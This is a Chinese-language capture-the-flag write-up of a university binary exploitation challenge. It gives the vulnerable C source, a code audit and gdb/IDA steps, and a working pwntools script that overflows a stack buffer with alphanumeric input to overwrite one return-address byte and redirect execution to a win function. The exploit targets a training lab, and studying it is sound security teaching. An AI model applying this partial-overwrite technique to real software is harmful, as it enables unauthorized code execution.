TUM Binary Exploitation qualification challenge

题目

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <math.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>
#include <stdbool.h>


#define FLAG_LENGTH 37
#define FLAG_LINES 29


struct Flag {
	char* flagData;
};


struct Flag** flagList = NULL;
size_t numFlags = 0;


const char flagTemplate[] =
	 "{}\n"
	 "||                             ,,,,\n"
	 "||   ,;;;;;,               ,,;;;;;;;,               ,,;;;;;;;;,\n"
	 "||.;;;;;;;;;;,           ,;;;      ;;;,           ,;;;       ;;;,,\n"
	 "||,         ;;;,      ,;;;;          ;;;,      ,;;;;             ;\n"
	 "||             ;;;,,;;;;                ;;;,,;;;;                ;;\n"
	 "||                                                               ;;\n"
	 "||                                                               ;;,\n"
	 "||             #####################################              ;;\n"
	 "||                                                                 ;\n"
	 "||                             ,,,,                                ;\n"
	 "||   ,;;;;;,               ,,;;;;;;;,               ,,;;;;;;;;,    ;\n"
	 "||.;;;;;;;;;;,           ,;;;      ;;;,           ,;;;       ;;,  ,;\n"
	 "||,         ;;;,      ,;;;;          ;;;,      ,;;;;           ;;;;\n"
	 "||             ;;;,,;;;;                ;;;,,;;;;\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||\n"
	 "||"
;



bool is_bad_char(char c)
{
	return !isalnum(c);
}

void error(const char* err)
{
	printf("Error: %s\n", err);
	exit(1);
}

char* build_flag(const char* data, size_t len)
{
	if (len < FLAG_LENGTH) error("Not enough data to generate flag");
	char* flagBuf = (char*)malloc(sizeof(flagTemplate));
	if(!flagBuf) error("OOM");
	memcpy(flagBuf, flagTemplate, sizeof(flagTemplate));

	size_t j = 0;
	for(size_t i = 0; i < sizeof(flagTemplate); ++i)
	{
		if(flagBuf[i] == '#')
		{
			if (j >= len)
				error("Not enough data to generate flag");
			flagBuf[i] = data[j++];
		}
	}
	return flagBuf;
}

char get_random_char()
{
	char c;

	while(is_bad_char(c = rand()));

	return c;
}

char* generate_flag()
{
	char buf[FLAG_LENGTH];

	strcpy(buf, "flag_");

	for(size_t i = 5; i < FLAG_LENGTH; ++i)
		buf[i] = get_random_char();

	return build_flag(buf, sizeof(buf));
}

bool validate_flag(const char* flag, size_t len)
{
	size_t j = 0;
	size_t i;
	for(i = 0; flagTemplate[i] && j < len; ++i, ++j)
	{
		if(!flagTemplate[i])
			break;

		/* Remove trailing space */
		if(flagTemplate[i] == '\n')
		{
			for(; j < len && flag[j] != '\n'; ++j)
				if(!isspace(flag[j]))
				{
					printf("Newline error\n");
					return false;
				}
		}

		if(flagTemplate[i] == '#')
		{
			if(is_bad_char(flag[j]))
			{
				printf("Bad char detected\n");
				return false;
			}
		}
		else if(flagTemplate[i] != flag[j])
		{
			printf("Mismatch at (%zu,%zu) = ('%c', '%c')\n", i, j, flagTemplate[i], flag[j]);
			return false;
		}
	}

	if(flagTemplate[i])
	{
		printf("Did not reach end of flagTemplate, %zu, '%c'\n", i, flagTemplate[i]);
		return false;
	}

	return true;
}


void parse_flag(char* dest, const char* flag, size_t len)
{
	size_t j = 0;
	for(size_t i = 0; i < len; ++i)
	{
		if(!is_bad_char(flag[i]))
		{
			dest[j++] = flag[i];
		}
	}
}


int get_choice()
{
	printf("> ");
	char buf[0x10] = {0};
	if(!fgets(buf, sizeof(buf), stdin))
		error("read failed\n");
	return atoi(buf);
}


void add_flag_to_list(struct Flag* flag)
{
	flagList = (struct Flag**)realloc(flagList, ++numFlags * sizeof(struct Flag*));
	if(!flagList) error("Realloc failed!\n");
	flagList[numFlags-1] = flag;
}

bool remove_flag_from_list(size_t idx)
{
	if(idx >= numFlags)
	{
		puts("Flag does not exist!");
		return false;
	}

	struct Flag* flag = flagList[idx];

	free(flag->flagData);
	free(flag);

	memmove(&flagList[idx], &flagList[idx+1], (--numFlags - idx) * sizeof(struct Flag*));

	flagList = (struct Flag**)realloc(flagList, numFlags * sizeof(struct Flag*));

	return true;
}


char* read_flag()
{
	size_t bufSize = sizeof(flagTemplate) * 2;
	size_t bufContent = 0;
	char* buf = (char*)malloc(bufSize);

	size_t numLines = 0;

	while(numLines < FLAG_LINES)
	{
		int n = read(STDIN_FILENO, buf + bufContent, bufSize - 1 - bufContent);
		if(n <= 0) error("read failed!\n");


		for(int i = 0; i < n; ++i)
			if(buf[bufContent+i] == '\n')
				numLines++;

		bufContent += n;

		if(bufSize - 1 - bufContent < 0x10)
		{
			buf = (char*)realloc(buf, bufSize *= 2);
			if(!buf) error("OOM");
		}
	}

	buf[bufContent] = 0;

	return buf;
}

void add_flag()
{
	char buf[FLAG_LENGTH+1];
	int choice;
	char* flagstr;
	size_t flaglen;
	struct Flag* flag = (struct Flag*)malloc(sizeof(struct Flag));

	puts(" 1. Build flag");
	puts(" 2. Generate flag");
	puts(" 3. Parse flag");

	choice = get_choice();


	switch(choice)
	{
		case 1:
			if(!fgets(buf, sizeof(buf), stdin))
				error("Read failed");

			flag->flagData = build_flag(buf, strlen(buf));
			break;

		case 2:
			flag->flagData = generate_flag();
			break;

		case 3:
		{
			flagstr = read_flag();
			flaglen = strlen(flagstr);

			if(!validate_flag(flagstr, flaglen))
			{
				puts("Invalid flag!");
				free(flagstr);
				free(flag);
				flag = NULL;
				break;
			}

			parse_flag(buf, flagstr, flaglen);
			flag->flagData = build_flag(buf, FLAG_LENGTH);
			free(flagstr);
			break;
		}

		default:
			free(flag);
			flag = NULL;
			puts("Invalid choice");
	}

	if(flag != NULL)
	{
		add_flag_to_list(flag);
		puts("Flag added!");
	}
}


void burn_flag()
{
	puts("Which flag do you wanna burn?");

	size_t idx = get_choice();

	printf("Searching for flag");
	for(int i = 0; i < 3; ++i)
	{
		printf(".");
		usleep(1000*1000);
	}
	puts("");

	if(remove_flag_from_list(idx))
	{
		printf("Preparing to burn");
		for(int i = 0; i < 3; ++i)
		{
			printf(".");
			usleep(1000*1000);
		}
		puts("");
		puts("Fwoosh! The flames snapped and crackled as the flag went up in a fiery whoosh!”...");
	}
}


void show_flag()
{
	for(size_t i = 0; i < numFlags; ++i)
	{
		printf("Flag %zu:\n", i);
		printf("%s\n", flagList[i]->flagData);
	}
}


void init(void)
{
	int fd;
	unsigned int rand_val;
	// setting stdout and stdin to be unbuffered
	setvbuf(stdout,0,_IONBF,0);
	setvbuf(stdin,0,_IONBF,0);
	// seeding the random number generator
	fd = open("/dev/urandom", O_RDONLY);
	read(fd, &rand_val, sizeof(rand_val));
	close(fd);
	srand(rand_val);
}




void menu()
{
	puts("-------------");
	puts(" 1. Add flag");
	puts(" 2. Burn flag");
	puts(" 3. Show flags");
	puts(" 4. Quit");
	puts("-------------");
}


/* The only true flag */
void win()
{
	execve("/bin/get_flag", NULL, NULL);
}



int main()
{
	init();

	puts("Welcome to our Flag-Storage-as-a-Service (FSaaS)!");

	int choice;

	bool running = true;

	while(running)
	{
		menu();
		choice = get_choice();
		switch(choice)
		{
			case 1:
				add_flag();
				break;

			case 2:
				burn_flag();
				break;

			case 3:
				show_flag();
				break;

			case 4:
				puts("Bye!");
				running = false;
				break;

			default:
				puts("Invalid choice!");
				menu();
		 }
	}
	return 0;
}

（说实话我真没想到一个qualification的题的源代码能这么长。）

代码审计

1

首先检测一下有哪些保护措施：

└─$ checksec ./vuln

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

可以看到什么保护措施也没有。尤其是这里没有的No PIE，说明所有函数的地址都是固定的。

首先注意到，在add_flag()函数里有这么一段：

case 3:
		{
			flagstr = read_flag();
			flaglen = strlen(flagstr);

			if(!validate_flag(flagstr, flaglen))
			{
				puts("Invalid flag!");
				free(flagstr);
				free(flag);
				flag = NULL;
				break;
			}

			parse_flag(buf, flagstr, flaglen);
			flag->flagData = build_flag(buf, FLAG_LENGTH);
			free(flagstr);
			break;
		}

通过阅读parse_flag()和read_flag()函数的代码可以发现没有进行任何长度上的限制。

只是在parse_flag()函数里：

void parse_flag(char* dest, const char* flag, size_t len)
{
	size_t j = 0;
	for(size_t i = 0; i < len; ++i)
	{
		if(!is_bad_char(flag[i]))
		{
			dest[j++] = flag[i];
		}
	}
}

bool is_bad_char(char c)
{
	return !isalnum(c);
}

会检查内容是否为字母或数字，并且只会将字母和数字写入进buf里。（并不能写入任意内容。）

这意味着我们可以将任意长度的字母数字写入buf里。这是典型的Buffer Overflow的漏洞。

所以我们现在的目标很明确：通过Buffer Overflow的漏洞将返回地址修改成win()函数的地址。

2

查看validate_flag()的逻辑：

bool validate_flag(const char* flag, size_t len)
{
	size_t j = 0;
	size_t i;
	for(i = 0; flagTemplate[i] && j < len; ++i, ++j)
	{
		if(!flagTemplate[i])
			break;

		/* Remove trailing space */
		if(flagTemplate[i] == '\n')
		{
			for(; j < len && flag[j] != '\n'; ++j)
				if(!isspace(flag[j]))
				{
					printf("Newline error\n");
					return false;
				}
		}

		if(flagTemplate[i] == '#')
		{
			if(is_bad_char(flag[j]))
			{
				printf("Bad char detected\n");
				return false;
			}
		}
		else if(flagTemplate[i] != flag[j])
		{
			printf("Mismatch at (%zu,%zu) = ('%c', '%c')\n", i, j, flagTemplate[i], flag[j]);
			return false;
		}
	}

	if(flagTemplate[i])
	{
		printf("Did not reach end of flagTemplate, %zu, '%c'\n", i, flagTemplate[i]);
		return false;
	}

	return true;
}

发现它只检查了我们发送的内容的前面部分是否和template的一致，也就是说我们可以在后面添加任意长度的内容。

利用IDA查看一下add_flag()函数的Stack结构会发现：

大小为0x58，即如果想要修改返回地址，则需要覆盖掉0x58（=5*16+8 = 88）字节的内容。
（注意，这个88可以理解为编译器总共预留的空间，所以不直接等于代码里的38。）

因为这个页面不会显示返回地址的具体值，所以我们需要想办法确认。

首先打开Disassembly页面：

然后用Alt+t搜索add_flag：

可以看到这里调用了add_flag，找过去看看。双击call那里会跳转到这个页面：

然后选择text view：

可以发现add_flag()的Stack里的返回地址原本应该是0x0000000000401AB8。

同时查看win()函数的地址：

1	win 0000000000401A74

非常巧合的是这两个地址只有最后一个字节是不同的，且0x74对应的刚好是字母t，也就是说可以绕过parse_flag()的检测。

所以我们只需要修改这个最低字节即可。

Exploit

首先将题目里的template复制过来，并将里面的#改成合法的字母，比如说A。然后在结尾加上用于覆盖buf以及返回地址最低位字节（0x74，即字母t。）的内容。

from pwn import *

HOST, PORT = "", 

template = (
    b"{}\n"
    b"||                             ,,,,\n"
    b"||   ,;;;;;,               ,,;;;;;;;,               ,,;;;;;;;;,\n"
    b"||.;;;;;;;;;;,           ,;;;      ;;;,           ,;;;       ;;;,,\n"
    b"||,         ;;;,      ,;;;;          ;;;,      ,;;;;             ;\n"
    b"||             ;;;,,;;;;                ;;;,,;;;;                ;;\n"
    b"||                                                               ;;\n"
    b"||                                                               ;;,\n"
    b"||             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA              ;;\n"
    b"||                                                                 ;\n"
    b"||                             ,,,,                                ;\n"
    b"||   ,;;;;;,               ,,;;;;;;;,               ,,;;;;;;;;,    ;\n"
    b"||.;;;;;;;;;;,           ,;;;      ;;;,           ,;;;       ;;,  ,;\n"
    b"||,         ;;;,      ,;;;;          ;;;,      ,;;;;           ;;;;\n"
    b"||             ;;;,,;;;;                ;;;,,;;;;\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||\n"
    b"||"
)


def exploit():
    
    tail = 88-37
    tail = b"A"*tail + b"t"
    payload = template + tail + b"\n"

    r = remote(HOST, PORT)
    r.recvuntil(b"> "); r.sendline(b"1")
    r.recvuntil(b"> "); r.sendline(b"3")
    r.send(payload)

    print(r.recvall())

if __name__ == "__main__":
    exploit()

# [+] Opening connection to courses.sec.in.tum.de on port 34291: Done
# [+] Receiving all data: Done (50B)
# [*] Closed connection to courses.sec.in.tum.de port 34291
# b'Flag added!\nflag_9d6150ae29087e182c0261554522ff67\n'

总结

这道题与我目前所熟悉的Buffer Overflow的题不太一样，我们并不能直接任意地修改返回地址，而是只能修改返回地址的最低位字节，因为需要绕过它的检测机制。算是设计得非常巧妙。

GDB

其中有些步骤的信息可以利用gdb更快地查找。

gdb -q ./vuln

(gdb) b add_flag			#在add_flag的函数入口下断点
(gdb) run

(gdb) p/x *(void**) $rsp	#原始返回地址
$1 = 0x401ab8

(gdb) p/d $rsp - (long)&buf  #偏移（即给buf预留的总存储空间）
$2 = 88

p/x &win					#win函数的地址
$3 = 0x401a74